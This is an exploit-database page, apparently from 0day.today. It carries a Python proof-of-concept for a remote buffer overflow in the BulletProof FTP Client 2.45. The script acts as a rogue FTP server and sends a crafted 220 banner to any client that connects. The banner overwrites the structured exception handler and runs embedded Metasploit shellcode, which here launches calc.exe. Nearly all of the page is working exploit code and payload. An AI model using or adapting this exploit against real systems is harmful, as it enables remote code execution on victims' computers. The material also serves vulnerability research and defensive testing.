BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit (PoC)

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BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit (PoC)
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#!/usr/bin/python
# BulletProof FTP (Client) V2.45 0day Buffer Overflow PoC Exploit
# Vendor URL: http://www.bpftp.com/
# Bug discovered by h07 <[email protected]>
# Shellcode type: Windows Execute Command (calc.exe) thx metasploit.com
# Tested on 2000 SP4 Polish
# Details:
#
# buffer = "220 " + ("A" * 4112) + "\r\n"
# 41414141  Pointer to next SEH record
# 41414141  SE handler
##

from socket import *
from struct import pack
from time import sleep

shellcode = (
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

host = "0.0.0.0"
port = 21
LEN = 4104
NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x77585A69       # POP POP RET (2000 SP4 Polish) 

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

buffer = "220 "
buffer += "A" * LEN
buffer += pack("<L", NEXT_SEH_RECORD)
buffer += pack("<L", SE_HANDLER)
buffer += shellcode
buffer += "\r\n"

cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()

# EoF


#  0day.today [2018-01-01]  #